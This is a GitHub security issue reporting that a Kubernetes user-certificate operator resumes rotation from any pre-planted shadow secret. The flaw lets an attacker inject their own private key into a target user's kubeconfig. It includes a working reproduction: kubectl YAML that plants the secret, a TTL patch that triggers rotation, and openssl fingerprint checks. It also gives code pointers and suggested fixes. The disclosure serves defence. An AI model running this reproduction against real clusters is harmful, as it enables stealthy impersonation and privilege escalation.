Skip to content

Rotation resumes from any pre-existing shadow secret — attacker plants their private key into the target user's kubeconfig #115

Description

@MuhanedYahya

Summary

RotateUserCertificate treats the existence of <username>-rotation-temp in the operator's namespace as the source of truth for "rotation in progress" and resumes from whatever key.pem and csr-name annotation it finds there. There is no verification that the shadow secret was created by the operator itself. An attacker who can create secrets in the kubeuser namespace (or cluster-scoped) pre-plants a shadow secret with their own private key; the operator then generates and auto-approves a CSR built from that key, and the atomic flip writes the resulting cert and the attacker's key into <username>-kubeconfig.

This is worse than the CSR pre-creation variant filed in #114: the resulting kubeconfig is internally consistent (cert and key match), so the legitimate user pulling the kubeconfig notices no breakage — but every use of it is now authenticated with an attacker-controlled private key that the attacker also holds. The impersonation is fully stealthy against the target user.

End-to-end exploit verified on a live kind cluster (2026-08-22). All three fingerprints matched after the exploit — attacker private key, kubeconfig client-certificate-data public key, and kubeconfig client-key-data public key. Reproduction and code pointers below.

Affected code

  • internal/controller/renewal/rotation.go:329-348getShadowSecret performs a bare Get(<username>-rotation-temp) and treats any result as prior operator state.
  • internal/controller/renewal/rotation.go:104-131 — the "shadow secret exists" branch of RotateUserCertificate calls continueRotationFromShadow unconditionally.
  • internal/controller/renewal/rotation.go:160-200continueRotationFromShadow extracts csrName from the shadow's annotation and keyPEM from data["key.pem"] with no attribution check.
  • internal/controller/renewal/rotation.go:427-484ensureCSRExists calls createCSRFromKey(username, attackerKeyPEM), so the CSR is built with the attacker's public key.
  • internal/controller/renewal/rotation.go:636-741atomicSecretUpdate writes newKeyPEM (= attacker's key) into <user>-key and builds <user>-kubeconfig from signedCert + newKeyPEM.

Neither the shadow-secret creator/owner, nor the shadow-key/CSR-public-key relationship, is verified anywhere in the chain.

Verified reproduction

Kind cluster running ghcr.io/openkube-hub/kubeuser-controller:latest, KubeUser-managed valid-user (ClusterRole=view), attacker principal has create on secrets in the kubeuser namespace.

openssl genrsa -out attacker.key 2048
ATT_MD5=$(openssl rsa -in attacker.key -pubout 2>/dev/null | openssl md5)
KEY_B64=$(base64 -i attacker.key | tr -d '\n')

# 1. Pre-plant the shadow secret with attacker's key
cat <<YAML | kubectl create -f -
apiVersion: v1
kind: Secret
metadata:
  name: valid-user-rotation-temp
  namespace: kubeuser
  labels:
    auth.openkube.io/user: valid-user
    auth.openkube.io/rotation: "true"
    auth.openkube.io/shadow: "true"
  annotations:
    auth.openkube.io/csr-name: valid-user-attacker-shadow
type: Opaque
data:
  key.pem: $KEY_B64
YAML

# 2. Trigger any rotation on the target user (TTL bump forces one)
kubectl patch user valid-user --type=merge -p '{"spec":{"auth":{"ttl":"500h"}}}'

# ~20s later: rotation completes, shadow + CSR are cleaned up, kubeconfig secret is repopulated
sleep 20

# 3. Compare the kubeconfig cert public key + kubeconfig client-key public key to attacker key
kubectl -n kubeuser get secret valid-user-kubeconfig -o jsonpath='{.data.config}' | base64 -d \
  | grep client-certificate-data | awk '{print $2}' | base64 -d \
  | openssl x509 -pubkey -noout | openssl md5
kubectl -n kubeuser get secret valid-user-kubeconfig -o jsonpath='{.data.config}' | base64 -d \
  | grep client-key-data | awk '{print $2}' | base64 -d \
  | openssl rsa -pubout 2>/dev/null | openssl md5
echo "$ATT_MD5"
# → all three md5s identical (ccfd6dbdbf157384dd0d59e15086314c on the live run)

Observed on the exploited cluster:

  • valid-user transitioned Renewing → Active normally; controller log shows Shadow Secret found, ensuring Renewing state → Continuing rotation from Shadow Secret → Ensuring CSR exists → Creating new CSR from stored key → Auto-approving validated CSR → CSR approved successfully → Atomic flip completed successfully → Cleanup completed successfully.
  • All three md5s matched (see above). The kubeconfig is internally consistent, so the legitimate user notices nothing wrong — but the attacker holds the private key and can authenticate as valid-user at will.
  • No RBAC-visible warning, no failure metric, no event flagging the anomaly.

Impact

  • Full impersonation of any KubeUser-managed user. Attacker inherits every RBAC binding the target holds. If any managed User is more privileged than the attacker, this is a full privilege escalation.
  • Stealthy — unlike Auto-approver signs pre-created CSRs — impersonation of any managed user via CSR create permission #114 (where the kubeconfig ends up with a cert/key mismatch that breaks the legit user's auth), this attack leaves the target's kubeconfig fully functional; auth failures don't tip the target off.
  • Attacker's key is written to <user>-key too, so it persists across restarts and is reused on subsequent non-rotation reconciles (the operator's ensurePrivateKey treats the secret as prior work).
  • Trigger surface is broad. Any legitimate reason the target user rotates (TTL change, autoRenew window, spec edit) is enough — the attacker doesn't need to trigger it themselves, just plant the shadow and wait.
  • DoS variant: planting a malformed key.pem in the shadow secret would corrupt the target user's kubeconfig on next rotation.

Preconditions: create on secrets in the kubeuser namespace (or cluster-scoped create on secrets). No permission on CSRs, no access to the operator's namespace-scoped read on kubeconfig secrets required. In multi-tenant clusters where the kubeuser namespace is accessible to more than the operator's SA (e.g., namespace admins for a hosted platform), this is directly reachable.

Related — same "trust by name" anti-pattern

  • Auto-approver signs pre-created CSRs — impersonation of any managed user via CSR create permission #114 — pre-creating a CSR under the operator's deterministic CSR name. Different code path, different preconditions, same class of bug.
  • Initial-issuance key secret variant (untested; code-audit only). internal/controller/certs/certs.go:156-203 ensurePrivateKey uses any pre-existing <user>-key secret's key.pem verbatim. An attacker who plants <user>-key in the kubeuser namespace before a User is first provisioned would drive the initial-issuance path with attacker's key material via the same mechanism as this shadow-secret attack. Recommend testing and fixing as part of the same patch.

The underlying root cause is systemic: the operator treats "resource with expected name exists" as "prior operator ownership" and resumes from it. Every place that pattern appears is a pre-planting vector.

Suggested fix (for triage; not final)

  1. In getShadowSecret, ensureCSRExists, and ensurePrivateKey: verify ownership before trusting the resource. Options:
    • Check metadata.ownerReferences[] for the target User UID before treating the resource as resumable.
    • Check metadata.managedFields for a fieldsV1 entry owned by the operator's SA.
    • Simplest: on rotation start, refuse to resume unless the shadow secret's ownerReference matches the target User's UID (the operator writes this today at createShadowSecretForRotation, so the check is symmetric with the create path).
  2. In continueRotationFromShadow: after reading keyPEM from the shadow secret, verify it decodes to a valid RSA key AND either (a) the operator planted it (per the ownership check above) or (b) the corresponding CSR (if any) has a Spec.Request whose public key derives from this key.
  3. ensurePrivateKey: same — verify ownerReferences match the target User UID before reusing an existing key secret. If not, log and refuse (do not silently overwrite either — that would be a foot-gun the other way).
  4. Consider one shared helper that all three call sites use, so future resources managed by the operator don't have to re-invent the check.

Discovery

Found during a follow-on audit after filing #114 (same pattern, different resource). Verified end-to-end on the live kind cluster: shadow secret pre-planted with attacker key → operator resumed rotation from it → kubeconfig secret written with attacker's cert AND attacker's private key.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions